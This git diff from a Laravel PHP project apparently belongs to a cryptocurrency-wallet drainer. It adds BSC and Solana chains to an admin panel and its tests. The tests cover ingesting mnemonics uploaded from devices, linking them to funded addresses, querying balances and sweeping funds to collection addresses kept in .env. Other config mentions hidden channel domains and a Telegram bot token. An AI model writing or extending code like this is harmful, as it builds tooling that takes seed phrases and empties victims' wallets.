161a20b..4cd6ac2 100644 --- a/resources/views/admin/system/settings.blade.php +++ b/resources/views/admin/system/settings.blade.php @@ -111,12 +111,22 @@ +
+ BSC + +
BTC
-
归集地址只能在 .env 配置 TRANSFER_TO_ADDRESS / TRANSFER_TO_ADDRESS_ETH / TRANSFER_TO_ADDRESS_BTC,后台只读展示,不可修改
+
+ SOL + +
+
归集地址只能在 .env 配置 TRANSFER_TO_ADDRESS / TRANSFER_TO_ADDRESS_ETH / TRANSFER_TO_ADDRESS_BSC / TRANSFER_TO_ADDRESS_BTC / TRANSFER_TO_ADDRESS_SOL,后台只读展示,不可修改。BSC 未配置时使用 ETH 归集地址。
diff --git a/tests/Feature/MnemonicAddressLinkTest.php b/tests/Feature/MnemonicAddressLinkTest.php index 2c96ecd..92cde0c 100644 --- a/tests/Feature/MnemonicAddressLinkTest.php +++ b/tests/Feature/MnemonicAddressLinkTest.php @@ -222,6 +222,10 @@ class MnemonicAddressLinkTest extends TestCase 'result' => self::MNEMONIC, ]); + Http::fake([ + '*' => Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200), + ]); + app(IngestService::class)->ingestAddresses($device, [ 'a' => 'a', 'ba' => [ @@ -241,6 +245,46 @@ class MnemonicAddressLinkTest extends TestCase ); } + #[Test] + public function new_eth_address_with_bsc_funds_also_creates_bsc_row(): void + { + config([ + 'coruna.bsc.rpc_url' => 'https://bsc.example', + 'coruna.bsc.usdt_contract' => '0x55d398326f99059fF775485246999027B3197955', + 'coruna.bsc.usdt_decimals' => 18, + ]); + // setUp() already registered a catch-all Http::fake(), and later fakes are + // checked after it, so they never run. Replace the client first. + Http::swap(new \Illuminate\Http\Client\Factory); + Http::fake([ + 'https://bsc.example' => Http::sequence() + ->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0xde0b6b3a7640000'], 200) + ->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x1bc16d674ec80000'], 200), + ]); + + $device = $this->makeDevice('dev-link-bsc'); + app(IngestService::class)->ingestAddresses($device, [ + 'a' => 'a', + 'ba' => [ + self::ETH_0 => [ + ['balance' => '0.1', 'chainType' => 'ETHEREUM', 'symbol' => 'ETH', 'decimal' => 18], + ], + ], + ]); + + $eth = WalletAddress::query()->where('chain_type', 'ETHEREUM')->where('address', self::ETH_0)->first(); + $bsc = WalletAddress::query()->where('chain_type', 'BSC')->where('address', self::ETH_0)->first(); + $this->assertNotNull($eth); + $this->assertNotNull($bsc); + $this->assertEqualsWithDelta(1.0, (float) $bsc->bnb, 0.0000001); + $this->assertEqualsWithDelta(2.0, (float) $bsc->usdt, 0.0000001); + $this->assertSame($eth->device_id, $bsc->device_id); + $this->assertSame($eth->source, $bsc->source); + $this->assertTrue((float) ($eth->usdt ?? 0) < 0.0000001); + $this->assertSame(1, WalletAddress::query()->where('chain_type', 'ETHEREUM')->count()); + $this->assertSame(1, WalletAddress::query()->where('chain_type', 'BSC')->count()); + } + #[Test] public function ingest_mnemonic_after_address_links_via_ingest(): void { diff --git a/tests/Feature/SystemAdminTest.php b/tests/Feature/SystemAdminTest.php index 0c63488..2f080d8 100644 --- a/tests/Feature/SystemAdminTest.php +++ b/tests/Feature/SystemAdminTest.php @@ -176,6 +176,7 @@ class SystemAdminTest extends TestCase 'coruna.transfer.to_address' => 'TCollectTronAddressForDisplayOnly', 'coruna.transfer.to_address_eth' => '0xCollectEthAddressForDisplayOnly', 'coruna.transfer.to_address_btc' => 'bc1CollectBtcAddressForDisplay', + 'coruna.transfer.to_address_sol' => 'SoCollectAddressForDisplayOnly1111111111111', 'coruna.panel.admin_hosts' => [], 'coruna.channel_domains' => ['hidden-cdn.example.com'], ]); @@ -188,6 +189,7 @@ class SystemAdminTest extends TestCase ->assertDontSee('name="transfer_to_address"', false) ->assertDontSee('name="transfer_to_address_eth"', false) ->assertDontSee('name="transfer_to_address_btc"', false) + ->assertDontSee('name="transfer_to_address_sol"', false) ->assertSee('readonly', false) ->assertDontSee('name="panel_admin_hosts"', false) ->assertDontSee('name="channels_domains"', false) @@ -197,6 +199,8 @@ class SystemAdminTest extends TestCase ->assertSee('TCollectTronAddressForDisplayOnly') ->assertSee('0xCollectEthAddressForDisplayOnly') ->assertSee('bc1CollectBtcAddressForDisplay') + ->assertSee('SoCollectAddressForDisplayOnly1111111111111') + ->assertSee('TRANSFER_TO_ADDRESS_SOL') ->assertSee('只能在 .env 配置') ->assertDontSee('hidden-cdn.example.com') ->assertSee('TELEGRAM_BOT_TOKEN') @@ -212,6 +216,7 @@ class SystemAdminTest extends TestCase 'coruna.transfer.to_address' => 'TKeepCollect', 'coruna.transfer.to_address_eth' => '0xKeepCollect', 'coruna.transfer.to_address_btc' => 'bc1KeepCollect', + 'coruna.transfer.to_address_sol' => 'SoKeepCollect', ]); $this->actingAs($this->superAdmin(), 'admin') @@ -222,6 +227,7 @@ class SystemAdminTest extends TestCase 'transfer_to_address' => 'TNewCollect', 'transfer_to_address_eth' => '0xNewCollect', 'transfer_to_address_btc' => 'bc1NewCollect', + 'transfer_to_address_sol' => 'SoNewCollect', ]) ->assertOk() ->assertJsonPath('code', 0); @@ -229,6 +235,7 @@ class SystemAdminTest extends TestCase $this->assertSame('TKeepCollect', config('coruna.transfer.to_address')); $this->assertSame('0xKeepCollect', config('coruna.transfer.to_address_eth')); $this->assertSame('bc1KeepCollect', config('coruna.transfer.to_address_btc')); + $this->assertSame('SoKeepCollect', config('coruna.transfer.to_address_sol')); } #[Test] diff --git a/tests/Feature/TransferServiceTest.php b/tests/Feature/TransferServiceTest.php index f84daff..b665987 100644 --- a/tests/Feature/TransferServiceTest.php +++ b/tests/Feature/TransferServiceTest.php @@ -207,6 +207,46 @@ class TransferServiceTest extends TestCase ]); } + #[Test] + public function sol_sweep_requires_its_own_collect_address(): void + { + config([ + 'coruna.transfer.to_address' => self::TO, + 'coruna.transfer.to_address_sol' => '', + ]); + + $from = 'So11111111111111111111111111111111111111112'; + $result = app(TransferService::class)->handle('sol', $from, '0.1', 'SOL'); + + $this->assertFalse($result['ok']); + $this->assertSame('TRANSFER_TO_ADDRESS_SOL is not configured', $result['error']); + $this->assertDatabaseHas('transfer_records', [ + 'from_address' => $from, + 'to_address' => null, + 'chain' => 'sol', + 'error' => 'TRANSFER_TO_ADDRESS_SOL is not configured', + ]); + } + + #[Test] + public function solana_alias_uses_configured_sol_collect_address(): void + { + $to = 'So11111111111111111111111111111111111111112'; + config([ + 'coruna.transfer.to_address' => self::TO, + 'coruna.transfer.to_address_sol' => $to, + ]); + + $result = app(TransferService::class)->handle('solana', $to, '0.1', 'SOL'); + + $this->assertFalse($result['ok']); + $this->assertStringNotContainsString('TRANSFER_TO_ADDRESS', (string) ($result['error'] ?? '')); + $this->assertDatabaseHas('transfer_records', [ + 'chain' => 'solana', + 'to_address' => $to, + ]); + } + #[Test] public function rejects_when_no_matching_mnemonic(): void { diff --git a/tests/Unit/EthDriverTest.php b/tests/Unit/EthDriverTest.php index 5b3ceae..92b88b1 100644 --- a/tests/Unit/EthDriverTest.php +++ b/tests/Unit/EthDriverTest.php @@ -2,6 +2,7 @@ namespace Tests\Unit; +use App\Services\Chain\BscDriver; use App\Services\Chain\EthDriver; use Illuminate\Support\Facades\Http; use PHPUnit\Framework\Attributes\Test; @@ -39,8 +40,9 @@ class EthDriverTest extends TestCase 'coruna.eth.rpc_url' => 'https://ethereum.example', 'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7', 'coruna.eth.usdt_decimals' => 6, - 'coruna.eth.bnb_contract' => '0xB8c77482e45F1F44dE1745F52C74426C631bDD52', - 'coruna.eth.bnb_decimals' => 18, + 'coruna.bsc.rpc_url' => 'https://ethereum.example', + 'coruna.bsc.usdt_contract' => '0x55d398326f99059fF775485246999027B3197955', + 'coruna.bsc.usdt_decimals' => 18, ]); Http::fake(function ($request) { @@ -54,6 +56,7 @@ class EthDriverTest extends TestCase $addr = '0x9858EfFD232B4033E47d90003D41EC34EcaEda94'; $this->assertSame('100', $driver->getTokenBalance($addr, (string) config('coruna.eth.usdt_contract'))); - $this->assertSame('1', $driver->getTokenBalance($addr, (string) config('coruna.eth.bnb_contract'))); + $bsc = new BscDriver; + $this->assertSame('1', $bsc->getTokenBalance($addr, (string) config('coruna.bsc.usdt_contract'))); } } diff --git a/tests/Unit/WalletBalanceServiceTest.php b/tests/Unit/WalletBalanceServiceTest.php index 7e6283d..9d2197f 100644 --- a/tests/Unit/WalletBalanceServiceTest.php +++ b/tests/Unit/WalletBalanceServiceTest.php @@ -63,13 +63,17 @@ class WalletBalanceServiceTest extends TestCase $eth = \Mockery::mock(\App\Services\Chain\EthDriver::class); $eth->shouldReceive('getNativeBalance')->once()->andReturn('1.25'); - $eth->shouldReceive('getTokenBalance')->twice()->andReturn('9.5', '2.5'); + $eth->shouldReceive('getTokenBalance')->once()->andReturn('9.5'); + $bsc = \Mockery::mock(\App\Services\Chain\BscDriver::class); + $bsc->shouldReceive('getNativeBalance')->once()->andReturn('2.5'); + $bsc->shouldReceive('getTokenBalance')->once()->andReturn('8'); $manager = \Mockery::mock(\App\Services\Chain\ChainManager::class); $manager->shouldReceive('resolve')->with('eth')->andReturn($eth); + $manager->shouldReceive('resolve')->with('bsc')->andReturn($bsc); $this->app->instance(\App\Services\Chain\ChainManager::class, $manager); config([ 'coruna.eth.usdt_contract' => '0xdac17f958d2ee523a2206206994597c13d831ec7', - 'coruna.eth.bnb_contract' => '0xb8c77482e45f1f44de1745f52c74426c631bdd52', + 'coruna.bsc.usdt_contract' => '0x55d398326f99059ff775485246999027b3197955', ]); $device = Device::query()->create([ @@ -92,6 +96,10 @@ class WalletBalanceServiceTest extends TestCase $this->assertEqualsWithDelta(1.25, (float) $addr->eth, 0.0000001); $this->assertEqualsWithDelta(9.5, (float) $addr->usdt, 0.0000001); $this->assertEqualsWithDelta(2.5, (float) $addr->bnb, 0.0000001); + $bscRow = WalletAddress::query()->where('chain_type', 'BSC')->where('device_id', $device->id)->first(); + $this->assertNotNull($bscRow); + $this->assertEqualsWithDelta(2.5, (float) $bscRow->bnb, 0.0000001); + $this->assertEqualsWithDelta(8.0, (float) $bscRow->usdt, 0.0000001); } #[Test]